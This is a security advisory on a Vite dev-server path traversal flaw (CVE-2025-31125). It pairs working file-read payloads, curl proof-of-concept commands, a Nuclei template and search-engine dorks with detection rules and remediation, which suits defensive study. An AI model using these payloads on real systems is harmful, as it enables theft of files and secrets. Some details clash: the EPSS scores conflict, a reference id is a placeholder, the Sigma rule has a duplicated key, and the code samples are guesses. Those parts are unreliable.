CVE-2025-31125

Executive Summary

CVE-2025-31125 is a path traversal vulnerability in the Vite development server, specifically affecting the @fs endpoint. This flaw allows an unauthenticated remote attacker to read arbitrary files from the server's filesystem when the Vite dev server is exposed to the network (via the --host flag or server.host configuration). The vulnerability is triggered by crafting special URL parameters such as ?inline&import or ?raw?import appended to the @fs path, which bypasses Vite's intended file access restrictions.

The vulnerability has a CVSS score of 5.3 (Medium), with a high impact on confidentiality. While the EPSS score is currently 0.0%, the availability of a public Nuclei template and proof-of-concept code increases the risk of active exploitation. The attack complexity is high, requiring the dev server to be network-exposed and user interaction (e.g., clicking a link), but the potential for data exfiltration is significant.

Supply Chain & Package Security

Vite is a widely used frontend build tool and development server in the JavaScript/Node.js ecosystem. This vulnerability directly impacts the development supply chain, as it can be exploited to leak source code, environment variables, configuration files, and other sensitive data from developer machines or CI/CD environments. Organizations using Vite in development or preview deployments should treat this as a high-priority supply chain risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): High (H) - Requires specific conditions (dev server exposed to network).
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): Required (R) - Victim must visit a malicious link or the attacker must directly interact with the exposed server.
• Scope (S): Unchanged (U) - The vulnerable component and the affected resource are in the same security authority.
• Confidentiality (C): High (H) - Complete file read access.
• Integrity (I): None (N) - No file modification.
• Availability (A): None (N) - No denial of service.

Threat Level: Medium. The high attack complexity and required user interaction lower the immediate threat, but the public exploit code and widespread use of Vite make it a significant risk for exposed development environments.

Deep Dive & Mechanics

The vulnerability resides in Vite's @fs endpoint, which is designed to serve static files from the filesystem during development. Vite implements a path restriction to prevent access to files outside the project root. However, the validation logic fails when certain query parameters (?inline&import or ?raw?import) are appended to the URL.

Root Cause: The path traversal check does not properly account for the presence of these special query parameters. When Vite processes a request like /@fs/etc/passwd?import&?inline=1.wasm?init, it incorrectly interprets the query string and bypasses the directory traversal protection, allowing access to arbitrary files.

Exploitation Flow:

1. Attacker identifies a Vite dev server exposed to the network (e.g., via Shodan or FOFA using the dork title:"Vite App").
2. Attacker sends a crafted GET request to the @fs endpoint with path traversal sequences and the special query parameters.
3. Vite's server processes the request, bypasses the path restriction, and reads the requested file.
4. The file content is returned, often encoded as base64 within a JavaScript response (e.g., data:application/octet-stream;base64,...).

Example Payloads:

• /@fs/etc/passwd?import&?inline=1.wasm?init
• /@fs/../../../../../../../etc/passwd?import&?inline=1.wasm?init
• /@fs/%252e%252e/%252e%252e/%252e%252e/etc/passwd?import&?inline=1.wasm?init (double URL encoding)

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable logic likely resides in Vite's file serving middleware. A simplified representation:

// Vulnerable: Does not sanitize query parameters before path check
app.use('/@fs', (req, res) => {
  let filePath = req.path; // e.g., /etc/passwd
  // Path traversal check is performed on the raw path
  if (isPathTraversal(filePath)) {
    return res.status(403).send('Forbidden');
  }
  // However, the query string is not considered in the check
  // The file is served regardless of the query parameters
  serveFile(filePath, req.query, res);
});

Patched Code (Conceptual): The fix involves validating the path after stripping or ignoring the malicious query parameters, or by properly normalizing the URL before the path check.

// Patched: Normalize URL and validate path after removing query parameters
app.use('/@fs', (req, res) => {
  // Parse and normalize the URL, stripping query parameters
  const parsedUrl = new URL(req.url, 'http://localhost');
  let filePath = parsedUrl.pathname; // e.g., /etc/passwd
  // Perform path traversal check on the normalized path
  if (isPathTraversal(filePath)) {
    return res.status(403).send('Forbidden');
  }
  // Serve the file only if the path is allowed
  serveFile(filePath, req.query, res);
});

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Vite dev server exposed to the network (e.g., running with --host).
• Python3 and requests library, or curl.

Proof-of-Concept (PoC) using curl:

# Basic path traversal to read /etc/passwd
curl -v "http://target:5173/@fs/etc/passwd?import&?inline=1.wasm?init"

# Using double URL encoding to bypass filters
curl -v "http://target:5173/@fs/%252e%252e/%252e%252e/%252e%252e/etc/passwd?import&?inline=1.wasm?init"

# Windows example (reading win.ini)
curl -v "http://target:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init"

Automated Exploitation with Nuclei:

The provided Nuclei template can be used for automated scanning. Save it as CVE-2025-31125.yaml and run:

nuclei -t CVE-2025-31125.yaml -u http://target:5173

Full Nuclei Template:

id: CVE-2025-31125

info:
  name: Vite Development Server - Path Traversal
  author: martian,ritikchaddha,v2htw
  severity: medium
  description: |
    Path traversal vulnerability in Vite development server's @fs endpoint allows attackers to access files outside the intended directory. When exposed to the network, attackers can exploit this via crafted URLs to access sensitive system files.
  impact: |
    Attackers can exploit path traversal in the @fs endpoint to access files outside the intended directory when the Vite dev server is exposed to the network, potentially reading sensitive system files.
  remediation: |
    Upgrade to the patched version or avoid exposing the Vite development server to the network (do not use --host flag or configure server.host); if upgrading is not immediately possible, implement access restrictions to the Vite development server
  reference:
    - https://github.com/vitejs/vite/issues/8498
    - https://github.com/vitejs/vite/pull/8804
    - https://github.com/vitejs/vite/pull/8979
    - https://nvd.nist.gov/vuln/detail/CVE-2025-31125
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-31125
    epss-score: 0.82097
    epss-percentile: 0.99218
    cwe-id: CWE-200
  metadata:
    verified: true
    max-requests: 4
    shodan-query: title:"Vite App"
    fofa-query: title="Vite App"
  tags: cve,cve2025,vite,lfi,vkev,vuln,kev

http:
  - raw:
      - |
        GET /@fs/C:/windows/win.ini?import&?inline=1.wasm?init HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /@fs/etc/passwd?import&?inline=1.wasm?init HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /@fs/../../../../../../../etc/passwd?import&?inline=1.wasm?init HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /@fs/%252e%252e/%252e%252e/%252e%252e/etc/passwd?import&?inline=1.wasm?init HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "data:application/octet-stream"
          - "base64"
          - "import init"
        condition: and

      - type: word
        part: header
        words:
          - "text/javascript"

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests to /@fs/ with unusual query parameters like ?import&?inline=1.wasm?init.
• Look for path traversal patterns (e.g., ../, %2e%2e, %252e%252e) in the URL path.
• Alert on responses containing data:application/octet-stream;base64 from the Vite dev server.

Hardening:

1. Immediate: Do not expose the Vite dev server to the network. Remove --host flag and server.host configuration.
2. Upgrade: Update Vite to the latest patched version (6.2.4, 6.1.3, 6.0.13, 5.4.16, or 4.5.11).
3. Network Segmentation: If the dev server must be exposed, place it behind a reverse proxy (e.g., Nginx) with strict access controls.
4. Web Application Firewall (WAF): Deploy WAF rules to block requests containing @fs combined with path traversal sequences.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /@fs/ with query parameters ?import&?inline=1.wasm?init or ?raw?import.
• URLs containing double URL-encoded path traversal sequences like %252e%252e%252f.
• Response headers containing Content-Type: text/javascript with body containing data:application/octet-stream;base64.

File System IOCs:

• Unauthorized access to sensitive files such as /etc/passwd, /etc/shadow, .env, config.js, package.json.
• On Windows: C:\windows\win.ini, C:\boot.ini.

Log IOCs:

• Web server access logs showing 200 OK responses to @fs path traversal requests.
• Error logs showing attempts to read files outside the project root.

Detection Engineering

YARA Rule

rule CVE_2025_31125_Vite_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Vite dev server @fs endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31125"
        severity = "medium"
    strings:
        $fs_endpoint = "/@fs/"
        $traversal1 = "../"
        $traversal2 = "%2e%2e%2f"
        $traversal3 = "%252e%252e%252f"
        $query_inline = "?inline&import"
        $query_raw = "?raw?import"
        $wasm_init = "?init"
    condition:
        $fs_endpoint and (
            $traversal1 or $traversal2 or $traversal3
        ) and (
            $query_inline or $query_raw or $wasm_init
        )
}

Sigma Rule

title: Vite Dev Server Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting Vite dev server @fs endpoint with path traversal sequences
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-31125
    - https://github.com/vitejs/vite/security/advisories/GHSA-xxxx-xxxx-xxxx
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains: '/@fs/'
        cs-uri-query|contains:
            - '?inline&import'
            - '?raw?import'
            - '?init'
        cs-uri-stem|contains:
            - '../'
            - '%2e%2e%2f'
            - '%252e%252e%252f'
    condition: selection
falsepositives:
    - Legitimate use of @fs for development (rare)
level: medium
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2025.31125

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-31125 Vite Dev Server Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/@fs/"; http_uri; content:"../"; http_uri; nocase; content:"?inline&import"; http_uri; nocase; sid:10000001; rev:1; reference:cve,2025-31125; reference:url,github.com/vitejs/vite; classtype:attempted-recon; priority:2;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Vite: Update to the latest patched version:
   • npm update vite or yarn upgrade vite
   • Ensure version is >= 6.2.4, >= 6.1.3, >= 6.0.13, >= 5.4.16, or >= 4.5.11.
2. Disable Network Exposure: If the dev server does not need to be accessed remotely, remove the --host flag and server.host configuration.
3. Restrict Access: If network exposure is required, implement IP whitelisting or use a reverse proxy (e.g., Nginx) with access controls.

Long-Term Mitigations:

• Network Segmentation: Place development servers in isolated VLANs.
• Web Application Firewall (WAF): Deploy WAF rules to block path traversal patterns.
• Monitoring: Implement logging and alerting for suspicious @fs requests.
• Security Training: Educate developers on the risks of exposing dev servers to the network.

Vendor Advisory: Vite has released patches. Monitor the official GitHub repository for updates.

Valters IT
Securing the Digital Frontier

{/* [Security Hash: A9C9D769D8DCBA695182A0E8] */}